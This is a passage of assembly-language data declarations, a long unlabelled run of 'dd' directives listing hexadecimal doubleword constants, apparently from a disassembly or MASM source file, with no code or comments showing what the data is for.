0E44BFBE6h, 62104300h, 0A4218AFFh, 0DEC7AAA5h dd 22BBD58Fh, 91E8F0CAh, 9BE395ADh, 4A18369Eh, 0EFBF1010h dd 0F2254B1Bh, 5EDC9CA6h, 8642E6A5h, 4DA59F2Fh, 0A0DB33A6h dd 0E9729363h, 78F4422Fh, 73BC5C5Dh, 3F6A16C1h, 5FBF1725h dd 0B7528D57h, 8C772668h, 13F5CC0Eh, 0A544E223h, 9A19289Fh dd 8E554BC7h, 52319A55h, 43F7B895h, 9FAA6300h, 378151EAh dd 6CA2F778h, 280E3925h, 0B91CDAF5h, 0B4FC4532h, 0C25065F3h dd 4A63BBh, 0B143D736h, 2D4D7608h, 0B58DBE60h, 34AA5752h dd 0D620073Eh, 3C50FEC3h, 91F663F1h, 0B22B714Dh, 2F39C05Eh dd 0C94A7B21h, 0BECA9DE3h, 28D21226h, 9A3F522Bh, 4E460252h dd 0B4586E26h, 758CE96Dh, 8914359Dh, 67681A0h, 0EBA98EB1h dd 0F0061D21h, 3D4855CCh, 80B52F90h, 588178DDh, 0CE1326ADh dd 0B21EAF15h, 8C79F985h, 1BECFAB7h, 6869F79Dh, 4D0378BBh dd 8DE94D43h, 30C6F0E2h, 7CD7B03Ah, 25C54610h, 6D656C9Bh dd 413D406Eh, 21C2F1EAh, 0F70E9D1h, 338DC4E0h, 0C542E29Dh dd 0D4BD858Ah, 4DFD9AB4h, 36D50CD5h, 0AAA8DAD2h, 0D6032CA5h dd 0CB6A7C7Ah, 166B32ABh, 0A0D96B2Fh, 3CF8622Fh, 0E2C42BD3h dd 0FA4719E3h, 0D1643774h, 31CB476Ch, 7F7F4B99h, 0BB4A76A9h dd 24E6436Ch, 0CAEC6B9h, 17750FE0h, 0C9A2D202h, 1EDDDC9Ch dd 9659FFF0h, 0C0F8469Bh, 0D160BC86h, 789564D0h, 0D0768017h dd 94F254FFh, 1703D8Ah dd 0A820F926h, 0C0261527h, 0FE8AD846h, 0F6331780h, 2EBEA369h dd 0EFE6CFCFh, 434D112h, 0AA951E3Dh, 713D11A1h, 18B39660h dd 0B5198CD4h, 0BDD952E7h, 880B4E25h, 1E027778h, 51AAF41Dh dd 61E17251h, 98C62B75h, 3D81D754h, 5731C20Ah, 34B3E2ACh dd 6A98A5F8h, 3739CBA4h, 3A2E975h, 7D2A8B2Ch, 348B7FDFh dd 339FCAC5h, 0CEB6E4A0h, 0E4F10764h, 0D51ABF74h, 48489F09h dd 0F6A419A3h, 5CAAC27Dh, 298F03EFh, 297E78E7h, 9E5E8847h dd 300E299Ch, 0BD93F3E4h, 4A031538h, 0F8E2732Fh, 0B108D882h dd 0FC43CB8Dh, 0E8C0E98Fh, 2A7C64D4h, 1AB728F4h, 33D7359Bh dd 0A01447DDh, 0A2232800h, 7D646D7h, 8A95D2A8h, 923E14Eh dd 75E81FACh, 1AFFFF49h, 0AA569408h, 0C9578AD8h, 0A5A6C5D9h dd 62DB93D3h, 0BB35C05Fh, 73490CACh, 0C44F4C47h, 0E2A63485h dd 0D3FD497Ah, 61034A6Eh, 4467359h, 0A587473h, 50191CE6h dd 0F2E4E893h, 109F8BE9h, 185A06DAh, 0FAC4AF36h, 59489C62h dd 0A16E8FEBh, 196FE15h, 5440F283h, 0C07134E8h, 67D2395Bh dd 5FFBC189h, 478DD5F0h, 0E138ECE4h, 0B1B8910Ch, 0F5C8E581h dd 0A875B548h, 0CF75963Ch, 1156DF9h, 46A3B09Dh, 0D2B0BCB7h dd 617B32BEh, 0F9BE8C35h, 0A83A75EBh, 0D114AAA4h, 0C5ED59BEh dd 0B41133Dh, 954558A6h, 91790042h, 0ADFC0BCDh, 0AC1EB716h dd 92EFBFDCh, 0BE2BA0C0h, 18C3E852h, 0A1FAE7D1h, 5CA82650h dd 36FF16D5h, 5E907C15h, 5C060212h, 0F7CFD5E1h, 0E9C8BD14h dd 0A6876518h, 0A1DA6AF7h, 52A06DFEh, 928F660Eh, 90ACD79Ah dd 5D4332D2h, 2B7C3361h, 1C74BCDEh, 7BED8A48h, 98A3F23h dd 37F1875Fh, 5BE55EC6h, 2C395D72h, 0EB90C3EEh, 8C4E4B69h dd 0F4AE98B1h, 2DD4D272h, 99682BE4h, 3B9FAAC0h, 710F828Ch dd 46A61C47h, 0A2F74673h, 0FF33D543h, 0E8DAF8Fh, 9D3266BDh dd 49A20392h, 34450746h, 0E34F040h, 8FA8ED55h, 0FFE53B3Ah dd 3B024A80h, 64B83293h, 917DA930h, 17E12B29h, 0DF118CDEh dd 55475019h, 1969503Ah, 0B61AD2CDh, 92E30B52h, 0CB849E50h dd 0C82D70C4h, 6124CA90h, 0D23E4456h, 0E9271F94h, 0D297775Ch dd 0CEF753F6h, 0DE9D4142h, 0BA7C0B7Ah, 0EDE39E0Fh, 28A0A5E7h dd 8C43BC5h, 2215F686h, 25A9A704h, 63E647EDh, 0CD17A342h dd 468CCB62h, 97824A04h, 9064330Ch, 7749298Ah, 0ED85DB7Eh dd 1BC8A502h, 0C1E918B9h, 7D9216E6h, 958D6415h, 3F64F695h dd 0CB224466h, 0A9910328h, 88072F98h, 740472E2h, 28D2875Dh dd 0EA6A5270h, 0A0C7C287h, 449930FFh, 0E5F42058h, 9652BCD7h dd 0D0772488h, 7A835A4Eh, 22823A9Ch, 162055FEh, 0F3E9A973h dd 3124BEC9h, 0AF3B0ED5h, 0ED7E22Dh, 0C040C16Eh, 6F05A223h dd 3615CAF4h, 1DE646A8h, 9EB09030h, 0F0C02C30h, 0D81EAB0Ch dd 9A572797h, 0A2ED100Ch, 0C6ADB6A2h, 2F9EE716h, 1759B32Ch dd 6A071ECAh, 0D052D679h, 7B441019h, 7D492E2Ch, 79B3A663h dd 5B9EABEBh, 0F6DC9A07h, 8F4C9063h, 0AC004EEAh, 0D81A1735h dd 666B33B6h, 3D99DE04h, 7ECD1279h, 1215AEF9h, 4D38BD23h dd 0BF2EC39Eh, 4891C8C2h, 150E2FC8h, 87F5C7D4h, 42A41609h dd 43EFC2A1h, 0CDDA645Fh, 85F37838h, 9CABC667h, 491A9EBEh dd 418AF9EAh, 3293E0C0h, 0C03AE037h, 491CBDC5h, 0B23D1B63h dd 0FF94FD01h, 0DD75B373h, 7A1B5471h, 445A0B88h, 86361709h dd 0E51FBEBCh, 0AC0A5416h, 0DC60504Ch, 1E692C71h, 7E7BDBEAh dd 83C13E88h, 6AE6E417h, 87E7F7AFh, 0DF89A0E2h, 0D4217534h dd 0BB1F16EDh, 1DA495DFh, 132E4B3Bh, 79D269FCh, 1BF0C7CBh dd 93EFD68Fh, 0DFD7A310h, 450F662h, 802B8163h, 33F1D490h dd 201DA5F7h, 166FB369h, 0DADC1D2h, 1426B3D6h, 39518535h dd 0FCEA2611h, 9D49BC0Bh, 0B8FF0B75h, 0C7B6F210h, 64FB6F7h dd 3BDCA5C2h, 14AADCBCh, 2B4BD65Ah, 0A60641D5h, 998E9CC0h dd 4F12E4EDh, 8A2153A7h, 0A721C0C0h, 0EB6617ABh, 4053B17h dd 0F7CD7E01h, 1C514E04h, 0F7C482AFh, 419C5A8Dh, 0A16F38D7h dd 54DF68CEh, 1FFEEB8Fh, 438DDE9Dh, 604A2B8Eh, 0B87937F5h dd 27A1EC2Fh, 7927B675h, 5CE97047h, 0CF95E12Ah, 435168B4h dd 0CFC6222Eh, 0CD0F3E91h, 654F69F1h, 0EFB8144Ch, 0E1FFBB34h dd 0A5E15F28h, 73DA4CDFh, 905E75B0h, 163A8C96h, 3DC4A396h dd 4AED0AEFh, 9CF0C890h, 7196EA41h, 6E9AFB1Ch, 836FC0CFh dd 838F9879h, 63719DE0h, 332BBF11h, 8557E7BAh, 0F6F8D548h dd 288EEFE0h, 0D1CC847Ah, 0DF977642h, 0AB2F5BEDh, 0A0CD0DAEh dd 0A2B9B901h, 52CF780Ah, 0F2B3F723h, 1DC595E8h, 4F14B2A0h dd 0FF06C71Bh, 36F2ACD9h, 0DA4C7F82h, 0A33AA87Dh, 0FBA96A81h dd 0C9233685h, 0C3003BC9h, 0AE5D2510h, 7CB7B6E3h, 0BC20E36h dd 0B9044D8Fh, 7C9A961Fh, 0A7BE6E25h, 0F1A30709h, 38B59A02h dd 85C7BB58h, 67BFCC90h, 6A8F9E90h, 7F6ABD7Dh, 0BC43029Eh dd 0FD6D4988h, 71DAE124h, 6ED6AFD5h, 321D5E1Ah, 767DDFE7h dd 9AE1C269h, 0F5298B36h, 57D6954Dh, 0E2864E5Eh, 0C20D9705h dd 4FEC3DA0h, 436A1731h, 2B5A4F5Ah, 0B61ED57h, 9ABD1D9Eh dd 71CB098Ah, 0F86A5A88h, 0AE1616ECh, 5EA15FE1h, 4432FAF5h dd 1B3597ECh, 593811EEh, 0C9A51F72h, 5B55584Ah, 0DA485C89h dd 0D5AEA063h, 6D1E87B6h, 6C8799Eh, 0CBB0553Eh, 414FD67Eh dd 0E9F9F2DBh, 47FF76E8h, 0AF8B7295h, 6C2C9635h, 5740F599h dd 75A004C5h, 7A84AFA4h, 756008CCh, 0E3712391h, 6F32B6BBh dd 5E1B682Dh, 7E196190h, 0F5FC61F9h, 0AE470B1Fh, 0C1004756h dd 0FEAED291h, 0AD05076Bh, 0A4E7FD53h, 446521E3h, 0B26ECF81h dd 0D969B53h, 6D930BF8h, 3693EA80h, 54DDC737h, 0AA2D0EAh dd 0F19418BAh, 0BA5F16E9h, 9B60EE27h, 4FA56C24h, 0F150931Dh dd 0C45E1D8Ah, 0CADD780Ch, 0E0633FD0h, 94033BF8h, 0F0012AAAh dd 0DEA97181h, 1CA5EFAFh, 995804CEh, 9B8B4DACh, 689D2390h dd 0DA2ADF54h, 0D07710A1h, 0A0A1D5E6h, 82E41C5Ch, 8279F2E5h dd 0E55B8261h, 566244F6h, 8CB62E63h, 0ACBF3CACh, 6940B731h dd 0D3EDACE7h, 0F96740DBh, 91C60A65h, 9D59B6EAh, 0A8A04F1Fh dd 33021925h, 1F2287AAh, 8C185F5Ah, 0B5AF7E3Eh, 40013651h dd 0A408B4h, 0BB29D418h, 0C59EF689h, 0C7C6D078h, 6C0D1E8Ah dd 18AC3887h, 0BCF35D53h, 0A9A2A7A2h, 691E2C6Fh, 0E3B85DB5h dd 2CD84272h, 60B4D3C8h, 0C555FEAh, 9E80B55Ch, 51ED824Eh dd 0EC70458h, 4BAFC854h, 629F249Eh, 34A5688Fh, 0AFCBDFD0h dd 0ACAC9608h, 6128375Ah, 4EACB664h, 948AD74Eh, 13AC4347h dd 47B24964h, 21CA490h, 76B504D4h, 882D19F7h, 0AA6F5585h dd 0BBA336A8h, 0B308DABh, 21A45F73h, 0D7B6FDEDh, 1B2D1AE9h dd 0ACA176D5h, 32450069h, 2163C992h, 0FFC29764h, 4654361Bh dd 2F6D85FBh, 0B04A1E00h, 0B0673C6Ch, 9662DE20h, 0E54B4CD6h dd 25A9C82Ch, 5A04254Ah, 3B5F779Dh, 8EF60B98h, 65A167C7h dd 0E1494107h, 0C2B3E5CAh, 121502EBh, 58C91B17h, 7CB67707h dd 0F733047Dh, 5D5B65C8h, 9249ED83h, 16F98C9h, 95EBBB21h dd 45A29D48h, 897EBA90h, 64F87F4Ch, 76D5AB18h, 5BC4B1D0h dd 57C3089Ah, 0D0A69593h, 420A702Dh, 4A53B54h, 9CC66037h dd 0C9CC848Ch, 0BD4DB163h, 0C45356D1h, 8127A1ECh, 766D6553h dd 63C8D61h, 0DCC0FE3Ch, 0CD57640Fh, 91F7197h, 0FBD168A9h dd 4EA3221h, 0F154C866h dd 0B19D078Ch, 0B19B230Ah, 0F480F1EDh, 0C994E3D7h, 3D4692E9h dd 0A417C92Dh, 769BA31h, 5B54C260h, 96C1A2A2h, 1A2D5C2Eh dd 0C518AD8Ch, 88AC6B7Ch, 884EC0E2h, 10DD3298h, 0FD9D28F7h dd 0F3FC0391h, 3969FAE8h, 15FCABE4h, 4725806Fh, 0BEA833D4h dd 408BE421h, 0B7F60337h, 7C240846h, 6961080Eh, 797183Ah dd 2272851Fh, 0DE8B339Dh, 80C30713h, 0B1AA3AB4h, 554052F2h dd 91E8EF83h, 64E2D4A9h, 4DBE11Ah, 0A1C4F3E3h, 36418743h dd 0A10A6EC3h, 83D15F33h, 0E1C64000h, 6CE8ED2Dh, 1044F168h dd 0BA587535h, 8ACA908Fh, 94FF887Dh, 7B5498FDh, 191E1395h dd 0B599E16Ah, 0B8FB2255h, 9AB46A58h, 31F0FDF2h, 0A5984A12h dd 0A309CE4Ah, 0B457FDF0h, 4AD310F0h, 217A7151h, 0B423BA88h dd 0C024C5D0h, 389139F4h, 68465434h, 4F9B93AFh, 2343713Bh dd 63C6CA4Ch, 1FA90995h, 87A6633Dh, 8655259Ch, 6BCA144Ch dd 15D59D7Dh, 916D9B96h, 42AFE3D1h, 78924B10h, 0D2D883F3h dd 0C259DA22h, 0B2F78E20h, 9066BB55h, 1C6420CCh, 74071E7Eh dd 0EBA97DC3h, 1C977149h, 0E240E45Fh, 2210A0B9h, 92F95DEBh dd 0A9E00FD5h, 753D1FD0h, 57C3A3A3h, 1070FB9Ah, 0F4566A04h dd 90454DA8h, 0CF750D99h, 0F6770D6Eh, 0D41D1FC8h, 46555D89h dd 9ED99008h, 90F7A914h, 523DC6E7h, 65E18ACFh, 0D28A77ABh dd 0D88000F2h, 2879E60h, 814C0B63h, 68855276h, 632D9A74h dd 2C5A121Eh, 8EA60C5Eh, 52372265h, 6435AEAh, 0F52568FDh dd 2FFA97F0h, 9015641Bh, 602E0925h, 3495EB0Bh, 6EEDE339h dd 5568474h, 5EB39BCCh, 0B84DED08h, 0A78E8FBEh, 0F271D0FAh dd 9E12ED7Dh, 10F6336Ah, 0C014B42h, 5D0CE683h, 48975C6h dd 0EA96F5B7h, 0B17E63CAh, 0E2E359E5h, 17AD885h, 52027077h dd 2387E960h, 0F76084C9h, 991D5873h, 43E5045h, 0A0A86773h dd 16835546h, 0EA47B723h, 0F780F11Eh, 0B9EA8F5h, 0BAECC8D0h dd 0E298D7C3h, 8589BA88h, 0DEE7D869h, 10A01909h, 77E1D431h dd 0BD52D3D1h, 0C6F68B87h, 0E1A2AC4Bh, 7DE09ADEh, 21469B56h dd 0F44237BEh, 59FFA5B7h, 9CD5DE2Ch, 0C00EF6Ch, 1C9B5B58h dd 0C5B50190h, 0F890DD31h, 320C6E32h, 91426947h, 273ED509h dd 1D8BF483h, 808CCD89h, 0D4FD031Eh, 0DB1A4F75h, 700B253Dh dd 2DBA0103h, 1C4BBC77h, 561F0A65h, 59FC17F7h, 0F31FA446h dd 1623F3AFh, 856775ADh, 0B261F028h, 93DCDB18h, 0E99989FDh dd 1DC9E776h, 6A762DFFh, 0C0B33502h, 49BC2CA8h, 67EB5F2Dh dd 8B749456h, 403166D4h, 0B8A35CB5h, 563468CFh, 0AFC3407Ah dd 37BD6C74h, 0EF8FDDB4h, 475E1AF5h, 4C1F6D1Ch, 6D3DC655h dd 0F46A627Eh, 2CF502FAh, 7CF86104h, 3831D28Eh, 12B5BA8Fh dd 3372F284h, 9F80D96Eh, 602DB20Fh, 28CFBD86h, 0AA53A158h dd 0A756DCB0h, 89C3F71Ch, 0EE954596h, 8523957Bh, 0F79F458Bh dd 0ABC61E78h, 6D8BBA0Ah, 10235186h, 964592FDh, 0EA4ABB2Bh dd 0CFA5DF65h, 972AA8EFh, 78E2D914h, 71C8D0BFh, 0C017204Dh dd 0F7F75450h, 0B7A6D4C8h, 7FB1EE2Ah, 7D5FA637h, 9B8D1614h dd 0AAD85EA3h, 0CBF5CF27h, 0F6E190D1h, 0B69CEB66h, 0F9640BBBh dd 0AD4B82F1h, 50880C03h, 4558EEB7h, 69C33ED5h, 90E23CE8h dd 3473EA79h, 0F6173D66h, 8D3F8E22h, 3CE4749Ah, 0AEF3DD4Ch dd 14270B22h, 0C8C4BFCFh, 5F696F1Bh, 13031B11h, 447123C3h dd 5C3D28EEh, 9A047FE4h, 0B6333FD3h, 7E453F08h, 0E85D698Ah dd 0B4B661A0h, 385BCC5Ch, 0EA08FC89h, 78FBCB80h, 969E7235h dd 4FAAE9C0h, 1C58AEFFh, 395D0640h, 0A24D1889h, 0C6FD1BFEh dd 46FCFB93h, 8A13346Bh, 7323F271h, 5E9ADB77h, 7F944CE5h dd 99043F57h, 6925B223h, 77AF80F9h, 31D8AF88h, 8EE0ACEEh dd 0EE30BF50h, 82109CA0h, 1757B528h, 0D1E200CCh, 75EC007Bh dd 0EC4E9C94h, 0A5B1F657h, 61B7C287h, 795E1447h, 97CB4F32h dd 0DF429064h, 0A2A91045h, 28B71D3Ch, 0D9A44965h, 84DFF2CAh dd 72BA256Ah, 7587BD52h, 0D6A99C44h, 3BE8C887h, 0E9874652h dd 6A690D0Fh, 0BC40CB30h, 53428D01h, 2E56CD0Dh, 17638E9Ch dd 7D65E030h, 800D147Ch, 0C0996035h, 0A127E05Ch, 0D9747945h dd 0BBBBF9A0h, 0A4F4F5Ch, 0B26DEFDEh, 0EF68DB9Ah, 0FB1D3D5Bh dd 0A9AC864Bh, 2FF70DECh, 0F857565Fh, 0BFD5A73Ah, 2FC14E8Eh dd 44D465E1h, 1B5B834Ch, 9CFB9AAAh, 0D6238220h, 57F7F0DAh dd 87EAEAC5h, 0DBBB9776h, 0F3B864B8h, 0D46F3F23h, 0A2CB0950h dd 0D150F098h, 431E01A2h, 65E62D59h, 0D8092B66h, 7CECF426h dd 43FF8A76h, 6554D028h, 0BF6AB1ECh, 0D3A2E2DBh, 470E8068h dd 31B54CAEh, 0DFE98459h, 9E056D74h, 0BF767788h, 0B80DC226h dd 0B417BE8Eh, 86BD2D09h, 405D86E7h, 0A71AAB8Ch, 6FF23B48h dd 5A6914F3h, 0CA8D31CAh, 0BA2A9C8Dh, 0B36933ACh, 0FC7342ABh dd 52D18C5Dh, 8515D2E6h, 52223278h, 0D9FFFCC1h, 2675F2DBh dd 10885524h, 8D843D90h, 48A96FACh, 0D03908E4h, 57A8DECh dd 77DD196Ch, 0B4F3AF2Dh, 0F953A928h, 0A10A934h, 0B41E8B0Dh dd 0D174B18Dh, 0D96C8145h, 8FA98645h, 941AFC77h, 959CF895h dd 7DE14002h, 65F86AD3h, 0C88CF02Bh, 64C87A30h, 0F147B95Fh dd 0A7DC3114h, 2C316684h, 0E8C20831h, 0D14F9555h, 0A97C49F9h dd 0A50B693Ah, 1B33932Bh, 0B47D39ECh, 0E136B3Ch, 0BBBF75F9h dd 1E45F721h, 38DD3BB3h, 9DCCE845h, 9D6D0009h, 0A4B9C30h dd 0DD36B1F6h, 9A51EDC1h, 0B18862C7h, 60DED050h, 9DE9335Dh dd 13724E50h, 0E4F204F0h, 0E10B592Dh, 5EBE1CC6h, 1EC83F75h dd 2C95C0F7h, 0AF6AC826h, 6BF1EFF4h, 56279A26h, 973448D5h dd 0F25EF7D0h, 0B355B16Eh, 0CCA7CDC8h, 0F03DE9F6h, 49F6EDFh dd 81E9BDCh, 0A93B0C91h, 1BD0AE8Bh, 7F2801B1h, 503F7CCBh dd 9D6D6E63h, 9FA2C8Ah, 546217D0h, 53B5A86Ch, 2B636DECh dd 42B34B21h, 2D26E9Ch, 5F5F5D33h, 0FFBE09D1h, 73D51605h dd 0F279D959h, 0B51EBDCFh, 9B33E9Ah, 20F8DAE4h, 4F3D22AAh dd 88D6F30Eh, 6F51FE60h, 0C7F2A1EEh, 50AEF2CAh, 1990B897h dd 0F989CF0h, 0C25C0B17h, 15162F40h, 57A6D44Ah, 0A47ABDD3h dd 0D4E1A858h, 0B7EB205Ch, 31CCAA20h, 5DB3FE5Ah, 7BE742B9h dd 0B68B9F47h, 65610FFFh, 2A1275F4h, 0F453FD15h, 0C8DE541Fh dd 765DEBEEh, 68A01D78h, 6DA220EFh, 0F83BDE25h, 0A5F5B9AAh dd 6FC8032Ch, 8E658316h, 0EFC3A96Dh, 45D10A1Bh, 8EC4C1E6h dd 0AA9E04Eh, 93E0B2Fh, 0E330C5C1h, 0FF2615Bh, 4721BEFCh dd 4F90B063h, 0B49FD89Bh, 1028BA71h, 893049C5h, 7A592F7Eh dd 878F5E65h, 0B74B6FDEh, 3C0CB641h, 49B698CCh, 0ACC5B3B0h dd 0C6D23336h, 2FB32CFCh, 59D01A20h, 62EF692Eh, 0F622EDABh dd 0C9BACA41h, 0C7D942BFh, 751F0B1Eh, 0E3026869h, 475D29D3h dd 2E64D1F6h, 7FC0464Eh, 0D720FE9Bh, 67EBF536h, 0EDDBBCB4h dd 4176B5DAh, 47CFD62Eh, 77943EA6h, 0C4A986Ch, 0A1DB5DA5h dd 0A182F1Eh, 87CE01F0h, 10DD5C97h, 0BB4D4438h, 33A83619h dd 1A2BFFCFh, 0B13B3D1Ah, 0BF91DEB4h, 69ED3DA7h, 24C656D3h dd 57E3473Bh, 920AB569h, 46D6FF02h, 8F849C1h, 3EC085Fh dd 77CBC08Bh, 1BC544A1h, 0C23B65E8h, 0D062D481h, 0F220C879h dd 4A3EC874h, 0CCD9133Bh, 0D581F5F7h, 4341B4D7h, 85E20884h dd 3CF5A064h, 457221AFh, 1BECD0A1h, 0BAD36202h, 0D68F79CEh dd 822973AEh, 3BCBE5D3h dd 43434E7Fh, 0C7DCF709h, 2F8E77CCh, 2D12FDAEh, 457FFD5Ah dd 0BF498CAFh, 0D575D655h, 6FC99662h, 0B51E5F8Dh, 53C13DCDh dd 3BDD7A72h, 0E616EE70h, 48BBBEB7h, 51702FBEh, 71F5921Fh dd 0EAC1BCE0h, 0CB9214ECh, 0B0E28E09h, 4CED1782h, 5E13C74Bh dd 29A216D0h, 0BF816B46h, 0FEF481CAh, 0A25646E7h, 0E4529A4Ah dd 648755B4h, 3EBBD59h, 198FC5C6h, 625C0386h, 0C1357447h dd 1DAF6B10h, 37C781F0h, 7CAAC1B6h, 128B927Bh, 50C6EDBEh dd 6612CC41h, 136C3A32h, 19BD43B1h, 28B7C8B3h, 1AC3EB01h dd 3413F40Bh, 11CA42A8h, 8C379132h, 4499DE05h, 3B011B2Fh dd 0C0DF094Ah, 639CF82Bh, 52D089D3h, 0B5A2C00Eh, 6C49F6E3h dd 8A719629h, 8F81F187h, 13F4129Ch, 0E7A8BDA1h, 0FAE64BECh dd 0B9596AFAh, 3348FD64h, 609D6F32h, 0D11AC2Ch, 0A9A35EB6h dd 88BE4C42h, 45717B8Ch, 2C0B1F41h, 0DDF63BBDh, 785F1945h dd 0BEAF9548h, 0CD099F98h, 3D5AAA75h, 343B9DC3h, 61EF4C0Ah dd 34EB0226h, 36776C12h, 0D298D874h, 8DE3E24h, 768190h dd 0F21FB532h, 1D8E2012h, 9B4BCE55h, 7D11FB41h, 305584C3h dd 33A8CC33h, 4138C366h, 684FAE23h, 0A902AC80h, 49A703AEh dd 4E5848F9h, 59084158h, 29C380E0h, 1E464B25h, 7F481935h dd 6E2EBAF0h, 3BCB09A0h, 8AB0DB20h, 0CB5D8CA3h, 297416Fh dd 2A0D88FDh, 0E75C0527h, 614451B5h, 66AF8383h, 6FA940F8h dd 6FD863FAh, 0D5B2B919h, 3CCA8AFCh, 0C4463C54h, 1431C92Bh dd 653BF8EFh, 0E92CF8EEh, 0A74DE638h, 944FCF5Bh, 871EFF93h dd 60D1EE87h, 807C4E1h, 0BC7DA43Fh, 0AAEBD0E5h, 0AC0051BAh dd 66AEBB47h, 0CF995029h, 5DEDEE2Fh, 0BEE2753Fh, 4EE24FB8h dd 0C7844B1Fh, 0D9EF3D99h, 0E5CCB7C6h, 52222AE7h, 90F14EF2h dd 575EDDB8h, 0EE8A9817h, 0B88EFAD8h, 2E036267h, 8B10823Bh dd 4458BD5Bh, 0CA07BDB4h, 96FC3C9h, 6717E60Fh, 0C4ACF038h dd 4F1B788Ah, 0DBBE0E7Ch, 346AE50Bh, 6A57C57Ch, 0D289779Bh dd 849B15F5h, 0C492B18Ch, 7CF46AA1h, 0D9F8FECDh, 0B97D6E15h dd 6B942B21h, 7597357Eh, 71B135DBh, 0A3ED3DB6h, 36B7EFA0h dd 930DA66Dh, 0D6E92C4Fh, 0EBCFE843h, 3372288Bh, 6F713DC4h dd 2F51682Bh, 8E9B5DCEh, 6FD02554h, 0CE56B9C6h, 0D071489Ah dd 0F3E04B75h, 0E0CB198Ah, 30C9121Fh, 69795E11h, 26928C84h dd 98376132h, 0E96B29CEh, 6DDAD0C0h, 82927AE7h, 0A76D667Eh dd 0C789D790h, 1276BC8Ah, 4DD632CAh, 0C377DCDh, 0F7CFDE91h dd 72647553h, 5056D963h, 3B55EA4h, 541902FDh, 0FE6B3DFEh dd 7C28305Eh, 457A0791h, 0B57B4F18h, 858CCA8Bh, 0AC2C3D6Eh dd 0A584CA0Bh, 0BBD3BA2Ah, 0A506D3C2h, 0D2653A4Dh, 2210B37Ch dd 2508830Ah, 306ADBB2h, 0E698633Ch, 466A7D1Eh, 24B9C106h dd 0A7141491h, 0A40158C1h, 0BA33CF5Eh, 1989AA39h, 74E222E7h dd 0E374A36Eh, 127AB00Eh, 0B9699746h, 7D933049h, 0DD88C7F9h dd 7DE8ACF9h, 981B1DF6h, 0AD9C4F2Fh, 6CE82CAFh, 0E8FE18E0h dd 0F8A8FF54h, 22D00284h, 0D8647605h, 0EF6700E9h, 0B828EF87h dd 0B4C803A7h, 372612FDh, 0F77A3966h, 1CD0401Ah, 0ECF3A8A8h dd 0F6B8DABEh, 9BA356F8h, 9F1C598Dh, 0D23D596h, 0BBC8E035h dd 0B9033EF7h, 0C759B7DDh, 0B3D5ADC8h, 676155BBh, 0D142A7EFh dd 4AFEBF45h, 398376BCh, 0E68E4049h, 0ABECA908h, 17873E26h dd 0DC99D454h, 97B6D647h, 0B4A9A6E4h, 69B11647h, 0D2B1C9CCh dd 0B4987D5Ch, 0C72B99ACh, 41D13726h, 23CE97D0h, 1607F715h dd 6CE10987h, 0AB2B0C25h, 5D9D3F2Eh, 0CEEEA889h, 84B66807h dd 0F44B53E1h, 3ADA6B76h, 8DAC0148h, 75036BEAh, 917162E3h dd 788A18D9h, 0B78E1608h, 42F2D5B5h, 2E16BC2Eh, 8D5384D8h dd 431289C9h, 24C74487h, 4046EE1Dh, 0A0E69A26h, 4726108Ah dd 32AC43FFh, 18A62AC7h, 99ABF2Fh, 0B7B77006h, 0FD911874h dd 569AE366h, 18703E7h, 0BB555DF8h, 0F117BBD7h, 5D525ECAh dd 0C8E5DC25h, 10A6210Bh, 0A3B2AE51h, 0C3250C2Ah, 0A698EEADh dd 2C580FD4h, 0C610E2B3h, 0F706FCADh, 69B37A4Fh, 4AC93C29h dd 87B802D8h, 995CE499h, 84FF5B34h, 0C82B9054h, 8443DA87h dd 930B39D4h, 8FABADD6h, 0BEAC85EFh, 0B6067756h, 727183DBh dd 364E41AEh, 0F926A852h, 0E0D59850h, 77B8CE52h, 83C8D66h dd 0E19EC3D5h, 0B5CEF856h, 0A6731A8Eh, 0A6AB4AC7h, 0BF1AF676h dd 11002F56h, 9F4CC4F6h, 897DF4EFh, 0F3855AA7h, 6D26831Dh dd 0C30AF404h, 2EBBAAE8h, 345A3EE5h, 36DE3A22h, 803B502h dd 0A41B1895h, 1E7B81EDh, 0DDAAFD5Bh, 0DB5F758Ah, 7E1AC75Ah dd 9421F08Ah, 0B4A2EC3Ah, 1830917Eh, 0B5054BB0h, 0ED3F694Bh dd 2EA9507h, 8C55CEE2h, 0F3C032E5h, 0B2E16F52h, 84CEF9C6h dd 0BC0DD9BFh, 54307571h, 0CC107BF2h, 74C1E3A6h, 0FF4E4EB5h dd 269E105Fh, 0F0F8CB68h, 8D4C3FEDh, 9F9DEDD5h, 9C306A24h dd 4F134198h, 44398F93h, 20B314BCh, 9AD2B514h, 64FE16F9h dd 69A9BACh, 0D82BEB7Eh, 1E8DEE32h, 0CF5D285h, 66F2BD49h dd 3D39D33h, 6FE9CD33h, 0FB2585BAh, 86834558h, 4920D40Eh dd 1FAA4375h, 2C7CD49Dh, 9601E24Eh, 3562C3E6h, 0E0D34886h dd 0BFA06473h, 0FB712C62h, 857A9BB3h, 0AEC84375h, 0F4A120E8h dd 0E0DB8928h, 0EE6ED517h, 0A6AB9E7Bh, 592DE8C9h, 266DE46Fh dd 26CFD993h, 647BC605h, 13D1CFA3h, 1DAB0717h, 0D4006E64h dd 38613BE5h, 56D7EABFh, 0E13B0DC5h, 6D0C431Bh, 6456DB60h dd 0BE5CB943h, 60E7BF89h, 757DCF8h, 0F617D359h, 8FB25AD8h dd 7F93EDF4h, 24C3EAE4h, 1EFA04C6h, 8A2D381Ah, 1ECB1536h dd 9A477953h, 6698956Ah, 0EC40126Ch, 4E895769h, 0C682D9B3h dd 1926CC48h, 0A5E69881h, 0E243C8E3h, 0A096A70Bh, 32E90BF0h dd 0B5E94AFBh, 5E49DD5Eh, 0CA111FD1h, 8C1FE745h, 2E58349Eh dd 0B9EE9C3Dh, 37CB8F38h, 7E737A06h, 0B9281E3Ah, 0CDC879B0h dd 0DB22AC9Bh, 512BE5C0h, 16A258C5h, 0FF021C09h, 1409C04h dd 3EB155EDh, 656EB752h, 6CC8B1D5h, 88762314h, 885705D6h dd 0A368DE28h, 0F8969571h, 78F506F0h, 1088FCA8h, 0BC92ABEDh dd 988153B1h, 850D75C3h, 333B0DDBh, 9799F462h, 1E1335EBh dd 45CB1D03h, 3EF763E8h, 0A6229191h, 0F6229C7h, 9D03E0EDh dd 0C482826h, 9F8EDEFEh, 914154F7h, 96676B74h, 541773C5h dd 758DC088h, 6C251021h, 0F9601316h, 9806D562h, 38BD68F3h dd 0FEEC23Dh, 0DD947850h, 0A1E0813h, 2ADD12A5h, 99AC3F23h dd 4829FFFBh, 83B54D0Dh, 232EEED7h, 0F7ADA59Ah, 0E3D48FB7h dd 3CF2A6E5h, 0D1828E2h, 3D99D695h, 28405202h, 0C37DE42Ah dd 